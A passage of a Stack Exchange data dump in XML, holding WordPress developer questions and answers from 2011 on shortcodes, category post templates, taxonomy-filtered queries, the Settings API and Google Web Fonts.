class=&quot;cat-post-images&quot;&amp;gt;'.get_the_post_thumbnail($post-&amp;gt;ID, 'thumbnail').'&amp;lt;/div&amp;gt;';&#xA;        }&#xA;        $output .= '&amp;lt;div class=&quot;cat-content&quot;&amp;gt;&amp;lt;span class=&quot;cat-post-title&quot;&amp;gt;&amp;lt;a href=&quot;'.get_permalink().'&quot;&amp;gt;'.get_the_title().'&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;';&#xA;        if ($excerpt == 'true') {&#xA;            $output .= '&amp;lt;span class=&quot;cat-post-excerpt&quot;&amp;gt;'.get_the_excerpt().'&amp;lt;/span&amp;gt;';&#xA;        }&#xA;        $output .= '&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;cat-clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;';&#xA;    };&#xA;    $output .= '&amp;lt;/div&amp;gt;';&#xA;    wp_reset_query();&#xA;    return $output;&#xA;}&#xA;add_shortcode('inventory-category', 'cat_func');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;usage&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just put this shortcode in your post or pages&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[inventory-category totalposts=&quot;3&quot; category=&quot;bulk-racks&quot; thumbnail=&quot;true&quot; excerpt=&quot;true&quot; ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;totalposts - your total number of&#xA;post to display. default is -1&lt;/li&gt;&#xA;&lt;li&gt;category   - category slug. use comma ,&#xA;for multiple slugs&lt;/li&gt;&#xA;&lt;li&gt;thumbnail  - set true if you want to display thumbnail. default is false&lt;/li&gt;&#xA;&lt;li&gt;excerpt    - set true if you want to display excertp. default is true&lt;/li&gt;&#xA;&lt;li&gt;orderby    - your post will order by . default post_date . check &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/get_posts&lt;/a&gt; for detail&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-12T06:13:47.350" CommentCount="7" />
  <row Id="17039" PostTypeId="1" AcceptedAnswerId="17042" CreationDate="2011-05-12T06:59:40.920" Score="1" ViewCount="128" Body="&lt;p&gt;i'm trying to implement a custom post template for all posts filed under a specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making use of &lt;strong&gt;WP-O-Matic plugin&lt;/strong&gt; that puts in the &lt;strong&gt;RSS feeds in this category&lt;/strong&gt; and would like to make a bit of customization for the branding on posts filed under this particular category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the below code from here: &lt;a href=&quot;http://www.nathanrice.net/blog/wordpress-single-post-templates/&quot; rel=&quot;nofollow&quot;&gt;http://www.nathanrice.net/blog/wordpress-single-post-templates/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I add this to my functions.php I get a warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected&#xA;  T_LNUMBER, expecting T_STRING or&#xA;  T_VARIABLE or '{' or '$' in&#xA;  public_html/wp-content/themes/mytheme/functions.php(16)&#xA;  : runtime-created function on line 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( &#xA;    'single_template', &#xA;    create_function(&#xA;            '$t', &#xA;            'foreach( (array) get_the_category() as $cat ) &#xA;            { &#xA;                    if ( file_exists(TEMPLATEPATH . &quot;/single-{$cat-&amp;gt;1176}.php&quot;) ) &#xA;                            return TEMPLATEPATH . &quot;/single-{$cat-&amp;gt;1176}.php&quot;; &#xA;            } &#xA;            return $t;' &#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I tried using a different approach where I made single.php as a doorway page to run a WP query. If category id matches then it renders custom-template.php else default-template.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned &lt;a href=&quot;http://mattmedia.net/2007/10/09/how-to-set-up-custom-wordpress-category-templates-in-four-easy-steps/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I continue to get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected&#xA;  T_LNUMBER, expecting T_STRING or&#xA;  T_VARIABLE or '{' or '$' in&#xA;  public_html/wp-content/themes/mytheme/functions.php(16)&#xA;  : runtime-created function on line 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: call_user_func_array()&#xA;  [function.call-user-func-array]: First&#xA;  argument is expected to be a valid&#xA;  callback, '' was given in&#xA;  /public_html/wp-includes/plugin.php on&#xA;  line 166&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5305" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-12T11:01:43.397" LastActivityDate="2011-05-12T11:01:43.397" Title="Using custom post template" Tags="&lt;posts&gt;&lt;customization&gt;&lt;template&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17042" PostTypeId="2" ParentId="17039" CreationDate="2011-05-12T07:20:17.323" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$cat-&amp;gt;1176&lt;/code&gt; cannot be a property of an object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/language.variables.basics.php&quot; rel=&quot;nofollow&quot;&gt;PHP Manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;$cat-&amp;gt;term_id&lt;/code&gt; and compare it’s value with the number you’re out for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And … &lt;strong&gt;don’t use anonymous functions&lt;/strong&gt;. They cannot be cached by opcode caches like APC and they are hard to debug – as you have seen. Plus, if someone wants to remove this filter in a child theme, that’s now very, very hard.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-12T07:20:17.323" CommentCount="1" />
  <row Id="17043" PostTypeId="2" ParentId="17029" CreationDate="2011-05-12T07:33:26.880" Score="1" ViewCount="" Body="&lt;p&gt;I would create a custom post type and a taxonomy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a great tutorial over on Justin Tadlocks website that uses movies as an example but you could translate this to podcast. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2010/08/20/linking-terms-to-a-specific-post&quot; rel=&quot;nofollow&quot;&gt;Post types and taxonomies: Linking terms to a specific post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-05-12T07:33:26.880" CommentCount="2" />
  <row Id="17046" PostTypeId="1" AcceptedAnswerId="18105" CreationDate="2011-05-12T10:39:48.793" Score="-1" ViewCount="330" Body="&lt;p&gt;I am using the Custom Post Type feature in Wordpress 3 to create an Events section for my website.  I am able to get this to display by using the relevante template files, but I also want the event listings visible on other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this with the normal post types but these are based on category IDs which Custom Post Types don't have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each event has a taxonomy for country and I want to be able to loop through the events and display only events for specific countries so I want to be able to filter that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a look on the Codex and came up with the following but it doesn't display anything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $args = array(&#xA;                'post_type'=&amp;gt; 'events',&#xA;                'country'    =&amp;gt; 'england'&#xA;          );&#xA;            $the_query = new WP_Query( $args );           &#xA;            if ( $the_query-&amp;gt;have_posts() ) :&#xA;&#xA;            // The Loop&#xA;            while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;                echo '&amp;lt;li&amp;gt;';&#xA;                the_title();&#xA;                echo '&amp;lt;/li&amp;gt;';&#xA;            endwhile;&#xA;&#xA;            endif;&#xA;&#xA;            // Reset Post Data&#xA;            wp_reset_postdata();&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1020" LastEditorUserId="1020" LastEditorDisplayName="" LastEditDate="2011-05-24T10:20:28.250" LastActivityDate="2011-05-24T10:29:24.273" Title="Loop for custom post types filtered by a taxonomy" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17047" PostTypeId="1" AcceptedAnswerId="17068" CreationDate="2011-05-12T10:43:41.127" Score="0" ViewCount="269" Body="&lt;p&gt;In the Admin section I'm using quesry posts to get the title and content of a custom post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this query_posts('post_type=sfnewsletter'); will get me the content I need but unfortunately what I need to do now is to pass the ID of the custom post via a form and then retrieve that content &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('p=32');  &#xA;query_posts('page_id=32');  &#xA;query_posts('page=32');  &#xA;query_posts('sfnewsletter_id=32');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And not only do I not get the right custom post some of them return a post with an ID of 14 (not the first or last post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have confirmed that 32 is the correct ID for the custom post I am trying to get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THIS IS THE FORM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It passes the ID correctly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo sfn_form_url(); ?&amp;gt;&quot; &amp;gt;&#xA;&#xA;            &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;                &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'To', 'sfnewsletter' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;select name=&quot;sfnewsletter_to&quot; id=&quot;sfnewsletter_to&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;0&quot;&amp;gt;Please Choose&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;?php wp_dropdown_roles() ?&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;&#xA;                &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php _e( 'Newsletter', 'sfnewsletter' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;select name=&quot;sfnewsletter_newsletter&quot; id=&quot;sfnewsletter_newsletter&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;0&quot;&amp;gt;Please Choose&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php &#xA;                        query_posts('post_type=sfnewsletter'); &#xA;                        if (have_posts()) : while (have_posts()) : the_post();&#xA;&#xA;                            echo '&amp;lt;option value=&quot;' .get_the_ID(). '&quot;&amp;gt;' .get_the_title(). '&amp;lt;/option&amp;gt;';&#xA;&#xA;                        endwhile; endif;&#xA;&#xA;?&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;&#xA;            &amp;lt;/table&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;                &amp;lt;input id=&quot;sfnewsletter_hidden&quot; class=&quot;regular-text&quot; type=&quot;hidden&quot; name=&quot;sfnewsletter_hidden&quot; value=&quot;&amp;lt;?php esc_attr_e( 'SEND' ); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e( 'Send Message', 'sfnewsletter' ); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THIS IS THE SOLUTION I CAME UP WITH. THE ANSWER I HAVE ACCEPTED THE RIGHT WAY TO DO IT THOUGH, MY WAY IS A FUDGE&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;ok, I have come up with a work around that suits my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I don't seem to be able to use my custom post ID in the query I have used the ID from the form and converted it into the permalink and then used that in the query like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $sfnewsletter_slug = basename( get_permalink($sfnewsletter_newsletter) );&#xA;&#xA;    $the_query = new WP_Query( array( 'post_type' =&amp;gt;'sfnewsletter', 'posts_per_page'=&amp;gt;1, 'name'=&amp;gt;$sfnewsletter_slug ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me the output I am looking for. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="3732" LastEditorUserId="3732" LastEditorDisplayName="" LastEditDate="2011-05-12T21:26:54.530" LastActivityDate="2011-05-12T21:26:54.530" Title="What is the ID parameter for custom post types in query_posts?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="17048" PostTypeId="2" ParentId="17046" CreationDate="2011-05-12T10:54:30.630" Score="1" ViewCount="" Body="&lt;p&gt;Every taxonomy (built in like 'tags', 'post-formats', 'category', as well as custom) have an ID, so you can get this one as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i can see your query should work if you just add the usual &lt;code&gt;if ( $the_query-&amp;gt;have_posts() ) :&lt;/code&gt; before your loop and &lt;code&gt;endif;&lt;/code&gt; after it.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-12T10:54:30.630" CommentCount="1" />
  <row Id="17049" PostTypeId="2" ParentId="17030" CreationDate="2011-05-12T11:11:41.543" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; - It's worth the money.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-12T11:11:41.543" />
  <row Id="17050" PostTypeId="2" ParentId="17029" CreationDate="2011-05-12T11:13:27.657" Score="0" ViewCount="" Body="&lt;p&gt;Take a look &lt;a href=&quot;http://wordpress.org/extend/plugins/powerpress/&quot; rel=&quot;nofollow&quot;&gt;at this one&lt;/a&gt;. There are also paid upgrades but it looks promising.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-12T11:13:27.657" CommentCount="6" />
  <row Id="17051" PostTypeId="1" CreationDate="2011-05-12T11:15:00.510" Score="2" ViewCount="144" Body="&lt;p&gt;I'm trying to create a menu and submenu with a child theme of twentyten, similar to this at the LA Times: &lt;a href=&quot;http://www.latimes.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.latimes.com/&lt;/a&gt; where when the site is first opened, it displays a set of childs, and then when other parents are hovered over, other childs are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I say, I'm trying to achieve this using the custom menu function built into WP 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for you help.&lt;/p&gt;&#xA;" OwnerUserId="5311" LastActivityDate="2011-09-05T16:43:09.583" Title="How do I create a magazine type menu - sub-menu setup using wp_nav_menu and child of twentyten?" Tags="&lt;custom-menus&gt;&lt;menus&gt;&lt;theme-twenty-ten&gt;&lt;child-theme&gt;&lt;children&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17052" PostTypeId="2" ParentId="17026" CreationDate="2011-05-12T11:15:41.617" Score="2" ViewCount="" Body="&lt;p&gt;My opinion may not be totally fair, as I haven't tried both lately. But I used podpress for a while. THe problem was that every time WP did a major upgrade, podpress would quit working. I'm using podcastnig plugins for DJ music hosting on rvoodoo.com. Downtime sucks for my artists. So after about a year of having it break (once for many months) the powerpress plugin was offered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I jumped ship, which was easy as powerpress offers an importer for podpress content. PowerPress is huge and powerful. Numerous media players, category casting, etc. I have never had downtime with powerpress. Also, they are very active in development. Any questions Ive had have been oanswered on their forums. They are very open to suggestion too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a user who has relied on both for at least a year each, my vote is powerpress. I don't wanna knock podpress, I appreciate anyone making free plugins. And these big involved podcasting ones must take a fair bit of effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just one note, neither plugin makes uploading a podcast easier. You upload it yourself. And link to it from within the plugin. I use ftp, as my files are usually over 200M. Browser uploads are unstable at that size. BUt I just ftp the file into my pocast directory I made, and link it when I make a post.&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-12T11:15:41.617" />
  <row Id="17053" PostTypeId="1" AcceptedAnswerId="17841" CreationDate="2011-05-12T12:40:45.367" Score="2" ViewCount="60" Body="&lt;p&gt;I'm trying to be a good thememaker and pass all my settings through the Settings API, but I'm running into some difficulty in the sanitization callback function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core of the problem is this: the $input variable, passed in by default, is empty. My $_POST[options group] is coming through just fine (it has everything I'd expect to see in $input) but, again, $input is empty. Where do I even start looking to debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In response to Chip, here's what I have (stubbed, obviously):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function lblg_sanitize_options( $input ){&#xA;global $lblg_shortname, $lblg_default_options;&#xA;&#xA;echo &quot;Input: &quot;;&#xA;print_r($input);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do something similar using, e.g., Oenology and do a &lt;code&gt;print_r($input);&lt;/code&gt;, I get the expected &lt;code&gt;Array(&lt;/code&gt; etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the results of &lt;code&gt;print_r($_REQUEST);&lt;/code&gt; for my theme: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [option_page] =&amp;gt; lblg_options [action] =&amp;gt; update [_wpnonce] =&amp;gt; 1f96eb2410 [_wp_http_referer] =&amp;gt; /wp-admin/themes.php?page=lblg_options [lblg_options] =&amp;gt; Array ( [layout_stylesheet] =&amp;gt; Select a layout: [alt_stylesheet] =&amp;gt; *none* [use_custom_header] =&amp;gt; true [display_footer_copyright] =&amp;gt; true [footer_copyright] =&amp;gt; [footer_credit_text] =&amp;gt; [save] =&amp;gt; Save changes ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here it is for Oenology:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [option_page] =&amp;gt; theme_oenology_options [action] =&amp;gt; update [_wpnonce] =&amp;gt; 748c46a1a1 [_wp_http_referer] =&amp;gt; /wp-admin/themes.php?page=oenology-settings [theme_oenology_options] =&amp;gt; Array ( [header_nav_menu_position] =&amp;gt; below [header_nav_menu_depth] =&amp;gt; 1 [display_social_icons] =&amp;gt; on [rss_feed] =&amp;gt; rss2 [facebook_profile] =&amp;gt; [flickr_profile] =&amp;gt; [linkedin_profile] =&amp;gt; [myspace_profile] =&amp;gt; [twitter_profile] =&amp;gt; [youtube_profile] =&amp;gt; [display_footer_credit] =&amp;gt; false [submit-general] =&amp;gt; Save Settings ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't spot the difference. Can you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might the various slugs/shortnames/pagenames be conflicting somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm doing for registration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function lblg_admin_init(){&#xA;    global $lblg_shortname;&#xA;    register_setting( 'lblg_options', $lblg_shortname . '_lblg_options', 'lblg_sanitize_options' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm calling out, intra-options-form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;settings_fields( 'lblg_options' ); &#xA;do_settings_sections( 'lblg_options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The settings themselves are all being registered in a big loop, in a fashion similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_settings_field( $key, $value['name'], '', 'lblg_options', $section );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further thoughts?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditorDisplayName="" LastEditDate="2011-05-12T15:35:03.280" LastActivityDate="2011-05-20T19:57:04.567" Title="Why might $input (Settings API) be coming through empty?" Tags="&lt;theme-development&gt;&lt;functions&gt;&lt;settings&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="17054" PostTypeId="2" ParentId="17053" CreationDate="2011-05-12T12:45:11.507" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;$input&lt;/code&gt; variable is &lt;em&gt;not&lt;/em&gt; passed to the validate function by &lt;em&gt;default&lt;/em&gt;. You need to declare it, e.g. not &lt;em&gt;this&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_validate_settings() {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But rather, &lt;strong&gt;this&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_validate_settings( $input ) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Or maybe I'm the only one who's made that bone-headed mistake before?) :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing to check: does the &lt;code&gt;$optiongroup&lt;/code&gt; in &lt;code&gt;register_setting()&lt;/code&gt; match the argument passed to &lt;code&gt;settings_fields()&lt;/code&gt; in your form markup?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-12T13:42:27.033" LastActivityDate="2011-05-12T13:42:27.033" CommentCount="3" />
  <row Id="17055" PostTypeId="2" ParentId="17047" CreationDate="2011-05-12T13:21:20.840" Score="0" ViewCount="" Body="&lt;p&gt;The example queries you've posted are for &lt;em&gt;Pages&lt;/em&gt;, not custom post types. &quot;p&quot; is for &quot;post&quot; post type, &quot;page_id&quot; and &quot;page&quot; are for &quot;page&quot; post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your query should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array('post_type' =&amp;gt; 'sfnewsletter'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will grab he newsletter posts.  If you want a specific ID, then within that query, you just need to ask for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array('post_type' =&amp;gt; 'sfnewsletter'));&#xA;if(have_posts()) : while(have_posts()) : the_post(); &#xA;$postid = $post-&amp;gt;ID; // retrieves the post IDs within the Loop.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5014" LastActivityDate="2011-05-12T13:21:20.840" CommentCount="4" />
  <row Id="17056" PostTypeId="1" AcceptedAnswerId="17077" CreationDate="2011-05-12T13:24:59.210" Score="3" ViewCount="130" Body="&lt;p&gt;How do I create a random post but it shouldnt be change when the page is refreshed &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a random post that will last for a day and after 24 hours or a day, &#xA;it will change randomly the post , &#xA;will be that possible? or are there a plugin that exactly does that , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually what Im trying to create is like a &quot;Random Tip For the Day&quot;, you know something like that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone understand my question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help,any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2210" LastActivityDate="2011-05-16T13:36:18.973" Title="How do I create a random post that will last for a day" Tags="&lt;query-posts&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="17057" PostTypeId="2" ParentId="17022" CreationDate="2011-05-12T13:27:42.160" Score="0" ViewCount="" Body="&lt;p&gt;Your init call is correct, it will load jQuery where the wp_head() call is in your header.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;after&lt;/em&gt; the wp_head() call in your header.php file, add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  jQuery(document).ready(function($){&#xA;    alert('hello?');&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;placing the $ inside the function() section will allow you to use the regular $ with no conflicts.&lt;/p&gt;&#xA;" OwnerUserId="5014" LastActivityDate="2011-05-12T13:27:42.160" CommentCount="3" />
  <row Id="17058" PostTypeId="1" AcceptedAnswerId="17061" CreationDate="2011-05-12T13:33:18.533" Score="0" ViewCount="63" Body="&lt;p&gt;I'm writing a theme where I'd like to give users the ability, via a theme option, to specify a typeface for their site with &lt;a href=&quot;http://www.google.com/webfonts&quot; rel=&quot;nofollow&quot;&gt;Google Web Fonts&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user wants to embed a font like, say, &lt;a href=&quot;http://www.google.com/webfonts/family?family=News+Cycle&amp;amp;subset=latin#code&quot; rel=&quot;nofollow&quot;&gt;News Cycle&lt;/a&gt;, then the code needs to specify this in two places, in a &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag within the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, and in the site's CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag, the font is specified with a &lt;code&gt;+&lt;/code&gt; (plus sign) in the name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href='http://fonts.googleapis.com/css?family=News+Cycle' rel='stylesheet' type='text/css'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in the CSS, there is no plus sign:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;h1 { font-family: 'News Cycle', arial, serif; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like users to just write or paste the name of the font into a form field, and then, in the code, to replace spaces with plus signs where needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From googling around, I think this can be done with &lt;code&gt;str_replace&lt;/code&gt; or another similar bit of PHP, but I'm a PHP novice. Can anyone shed some light on the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment the relevant PHP in my header.php looks a bit like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$options = get_option('mytheme_theme_options');&#xA;&#xA;if( isset( $options['webfont'] ) &amp;amp;&amp;amp; ( !empty( $options['webfont'] ) ) )   &#xA;printf( &quot;WEBFONT LINK&quot;, $options['webfont'] );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-05-12T13:56:33.320" Title="How to change a specific character in a theme option value - replace a space with a plus sign" Tags="&lt;php&gt;&lt;css&gt;&lt;theme-options&gt;" AnswerCount="1" />
